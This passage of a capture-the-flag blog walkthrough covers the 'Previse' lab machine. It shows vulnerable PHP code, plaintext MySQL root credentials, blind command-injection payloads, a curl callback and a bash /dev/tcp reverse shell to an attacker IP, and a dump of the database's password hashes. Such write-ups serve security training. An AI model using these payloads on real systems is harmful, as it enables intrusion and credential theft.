        &lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$db&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nv"&gt;$row&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;mysqli_fetch_assoc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Content-Description: File Transfer"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Content-Type: application/octet-stream"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Content-Length: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'size'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
        &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Content-Disposition: attachment; filename="&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
        &lt;span class="nb"&gt;ob_clean&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// Discard any data in the output buffer&lt;/span&gt;
        &lt;span class="nb"&gt;flush&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// Flush system headers&lt;/span&gt;
        &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'data'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;free&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nv"&gt;$db&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;div class="uk-alert-danger"&amp;gt;Nothing requested!&amp;lt;/div&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Immediately, my eye is drawn to the line that contains the &lt;code&gt;include()&lt;/code&gt; method. &lt;a href="https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/" rel="noopener noreferrer"&gt;The PHP include() method is know to be a security issue.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since the &lt;code&gt;config.php&lt;/code&gt; page is the one the &lt;code&gt;include()&lt;/code&gt; method references, I assume that the db credentials may be stored in that file.&lt;/p&gt;

&lt;p&gt;Let's check out &lt;code&gt;config.php&lt;/code&gt;. &lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;config.php&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Most files named &lt;code&gt;config.*&lt;/code&gt; have some sort of credentials, default configuration settings, or other important information that helps lead to security incidents when in the wrong hands. Here we can see plaintext database credentials that may be useful later.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;connectDB&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
    &lt;span class="nv"&gt;$host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'localhost'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'root'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$passwd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'mySQL_p@ssw0rd!:)'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$db&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'previse'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$mycon&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;mysqli&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$passwd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$db&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$mycon&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  SQL Credentials
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;config.php&lt;/code&gt; file include &lt;code&gt;download.php&lt;/code&gt; file contains credentials to the database.&lt;/p&gt;

&lt;p&gt;Credentials:&lt;br&gt;
&lt;code&gt;root:mySQL_p@ssw0rd!:)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Database name:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;previse&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Connecting to the database
&lt;/h2&gt;

&lt;p&gt;I can't yet because the port isn't open on the outside. I have to get on the box first. I have a &lt;strong&gt;prevision&lt;/strong&gt; that we'll be logging into a SQL server soon!&lt;/p&gt;
&lt;h2&gt;
  
  
  &lt;code&gt;file_logs.php&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;On this page, we have a statement that utilizes a different language to parse files. The PHP &lt;code&gt;exec()&lt;/code&gt; command executes shell commands directly on the operating system itself, so while this appears to be a python expression, this is actually a &lt;code&gt;bash&lt;/code&gt; command executing the &lt;code&gt;python&lt;/code&gt; binary.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="nb"&gt;session_start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: login.php'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;

&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'REQUEST_METHOD'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;'POST'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: login.php'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;/////////////////////////////////////////////////////////////////////////////////////&lt;/span&gt;
&lt;span class="c1"&gt;//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//&lt;/span&gt;
&lt;span class="c1"&gt;/////////////////////////////////////////////////////////////////////////////////////&lt;/span&gt;

&lt;span class="nv"&gt;$output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/usr/bin/python /opt/scripts/log_process.py &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'delim'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nv"&gt;$filepath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"/var/www/out.log"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"out.log"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;    

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filepath&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Content-Description: File Transfer'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Content-Type: application/octet-stream'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Content-Disposition: attachment; filename="'&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filepath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;'"'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Expires: 0'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Cache-Control: must-revalidate'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Pragma: public'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Content-Length: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nb"&gt;filesize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filepath&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="nb"&gt;ob_clean&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// Discard data in the output buffer&lt;/span&gt;
    &lt;span class="nb"&gt;flush&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// Flush system headers&lt;/span&gt;
    &lt;span class="nb"&gt;readfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filepath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; 
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since we have control over the input, we can try to inject commands into this poorly implemented parsing string.&lt;/p&gt;

&lt;h2&gt;
  
  
  Discovering blind command injection
&lt;/h2&gt;

&lt;p&gt;Because of the implementation of this &lt;a href="https://portswigger.net/web-security/os-command-injection" rel="noopener noreferrer"&gt;Blind OS command Injection vulnerability&lt;/a&gt;, we are not able to read STDOUT, but we still have a few ways to verify that we are controlling the webserver.&lt;/p&gt;

&lt;h3&gt;
  
  
  Time based OS injection
&lt;/h3&gt;

&lt;p&gt;As it says on &lt;a href="https://portswigger.net/web-security/os-command-injection" rel="noopener noreferrer"&gt;Portswigger.net&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"You can use an injected command that will trigger a time delay, allowing you to confirm that the command was executed based on the time that the application takes to respond. The ping command is an effective way to do this, as it lets you specify the number of ICMP packets to send, and therefore the time taken for the command to run.""&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A simplified version of the above: "Use a time delay command to force the server to wait before giving you a response."&lt;/p&gt;

&lt;p&gt;This is the request when it hasn't be augmented (cut down to the vulnerable parameter for space reasons):&lt;br&gt;
&lt;code&gt;delim=tab&lt;/code&gt;&lt;br&gt;
It takes approximately 462 milliseconds.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;delim=tab&amp;amp;&amp;amp;ping -c 20 google.com&lt;/code&gt; (remember to URL encode!)&lt;br&gt;
Takes approximately 7,186 milliseconds.&lt;/p&gt;

&lt;p&gt;This is a positive result, but let's confirm it with the &lt;code&gt;sleep&lt;/code&gt; command.&lt;/p&gt;

&lt;p&gt;Payload:&lt;br&gt;
&lt;code&gt;delim=tab&amp;amp;&amp;amp;sleep 20&lt;/code&gt;&lt;br&gt;
Url encoded payload:&lt;br&gt;
&lt;code&gt;delim=tab%26%26sleep%2020&lt;/code&gt;&lt;br&gt;
Takes approximately 20,488 milliseconds.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi43qu03dtojfbw1wglpp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi43qu03dtojfbw1wglpp.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs7ds7mpwwc0kqo0sylgq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs7ds7mpwwc0kqo0sylgq.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is perfect! It takes approximately ~470 ms to respond, and the extra time is from our sleep command. We have confirmed &lt;strong&gt;remote code execution&lt;/strong&gt;, or RCE for short.&lt;/p&gt;
&lt;h2&gt;
  
  
  Using curl to test remote code execution
&lt;/h2&gt;

&lt;p&gt;Before we move on, let's learn another way to confirm RCE. Hackers often have to understand many ways to complete a task, as one may not work from time to time. Let's use &lt;code&gt;curl&lt;/code&gt; (a popular command line request tool for *nix systems.)&lt;/p&gt;

&lt;p&gt;Step 1.&lt;br&gt;
Start a listener on your attack machine with a command like &lt;code&gt;nc -nvlp 4444&lt;/code&gt; (or use your favorite listener). &lt;/p&gt;

&lt;p&gt;&lt;code&gt;delim=tab;curl 10.10.14.10:4444&lt;/code&gt; (Remember to URL encode!)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr54ybe83yr7cngq49iq5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr54ybe83yr7cngq49iq5.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Some people prefer this as a proof of concept because they can connect back to themselves.&lt;/p&gt;
&lt;h2&gt;
  
  
  Popping a reverse shell
&lt;/h2&gt;

&lt;p&gt;Now that we have RCE, we will leverage it to give ourselves a reverse shell.&lt;/p&gt;

&lt;p&gt;Step 1.&lt;br&gt;
Start a listener on your attack machine with a command like &lt;code&gt;nc -nvlp 4444&lt;/code&gt; (or use your favorite listener). &lt;/p&gt;

&lt;p&gt;Payload:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;delim=comma%26%26/bin/bash+-c+'bash+-i+&amp;gt;+/dev/tcp/10.10.14.10/4444+0&amp;gt;%261'&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3c8gttitkbmyihwwtqc1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3c8gttitkbmyihwwtqc1.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Upgrading the shell
&lt;/h3&gt;

&lt;p&gt;Since I see the &lt;code&gt;python&lt;/code&gt; binary, I am going to upgrade the shell using the following: &lt;code&gt;python -c 'import pty; pty.spawn("/bin/bash")'&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm2nel09k0w57ddt8ss6f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm2nel09k0w57ddt8ss6f.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This allows us to use a lot more features, and even have a more stable connection.&lt;/p&gt;
&lt;h2&gt;
  
  
  Privilege Escalation
&lt;/h2&gt;

&lt;p&gt;Now that we have a shell, we want to gain more access. &lt;code&gt;www-data&lt;/code&gt; can preform certain actions that unauthenticated users can't, but our goal is to gain total access over the machine. &lt;/p&gt;

&lt;p&gt;Even though we would normally go through our typical privesc techniques and post exploitation enumeration methods, we are first going to investigate the database with the credentials we found earlier.&lt;/p&gt;
&lt;h2&gt;
  
  
  Locating MySQL
&lt;/h2&gt;

&lt;p&gt;First, we will check if we have &lt;code&gt;telnet&lt;/code&gt; on the machine to see if we can reach the instance of MySQL from the inside of the machine.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe9h7uysqkvamf138ealp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe9h7uysqkvamf138ealp.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It seems the machine accepts connections from &lt;code&gt;localhost&lt;/code&gt; on port &lt;code&gt;3306&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let's attempt to login with the credentials we found earlier:&lt;/p&gt;
&lt;h2&gt;
  
  
  Logging into MySQL
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;mysql -u root -p'mySQL_p@ssw0rd!:)'&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Note that the password does NOT have a space after the &lt;code&gt;-p&lt;/code&gt; flag and that it is enclosed in single quotes. &lt;code&gt;'&lt;/code&gt; These two things are &lt;strong&gt;&lt;em&gt;very&lt;/em&gt;&lt;/strong&gt; important when establishing a local connection with a mysql server.&lt;/p&gt;

&lt;p&gt;Example:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5yo0fcn4vly9u4wvw2gm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5yo0fcn4vly9u4wvw2gm.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Enumerating the MySQL database
&lt;/h2&gt;

&lt;p&gt;Now that we've authenticated, let's enumerate the database.&lt;/p&gt;

&lt;p&gt;We can use the &lt;code&gt;show databases&lt;/code&gt; command to show the databases within this instance of SQL. Keep in mind that the &lt;code&gt;previse&lt;/code&gt; database was the one references in the PHP file earlier. Let's check that one out first.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5kdx6nz2uw1xmcv3ekf0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5kdx6nz2uw1xmcv3ekf0.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;First we use the &lt;code&gt;show databases&lt;/code&gt; command to show the databases within this instance of SQL. From there, we use the &lt;code&gt;use&lt;/code&gt; command, to select the database we'd like to inspect, and the &lt;code&gt;describe&lt;/code&gt; command to inspect tables within the database we're currently using.&lt;/p&gt;
&lt;h3&gt;
  
  
  Finding the passwords
&lt;/h3&gt;

&lt;p&gt;After running the command &lt;code&gt;select username, password, from accounts;&lt;/code&gt;, we can see the password hashes for all of the accounts on the site. Including the first admin, &lt;code&gt;m4lwhere&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fut1k6t0h1fcvnsuytns8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fut1k6t0h1fcvnsuytns8.png" alt="Image description"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+----------+------------------------------------+
| username | password                           |
+----------+------------------------------------+
| m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. |
| SSHad0w  | $1$🧂llol$elwMtr/dbrrAdw/Eb6S/K. |
+----------+------------------------------------+
2 rows in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A few basic sql privesc commands to try before leaving&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F846fv25uz7ovduaw2xjz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F846fv25uz7ovduaw2xjz.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding the hashes
&lt;/h2&gt;

&lt;p&gt;Now that we've found the hashes, we need to talk about how password hashes work before we attempt to crack them.&lt;/p&gt;

&lt;h3&gt;
  
  
  Breaking down the hash:
&lt;/h3&gt;

&lt;p&gt;Take this hash for example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://unix.stackexchange.com/questions/557319/how-to-know-if-password-in-etc-shadow-is-hashed-with-sha-or-md" rel="noopener noreferrer"&gt;As explained here&lt;/a&gt;, each &lt;code&gt;$&lt;/code&gt; denotes a new section of the hash. The first &lt;code&gt;$&lt;/code&gt; denotes the type of hash, the second &lt;code&gt;$&lt;/code&gt; denotes the salt, and the characters after 3rd &lt;code&gt;$&lt;/code&gt; is the hash itself.&lt;/p&gt;

&lt;p&gt;A direct quote:&lt;/p&gt;

&lt;blockquote&gt;
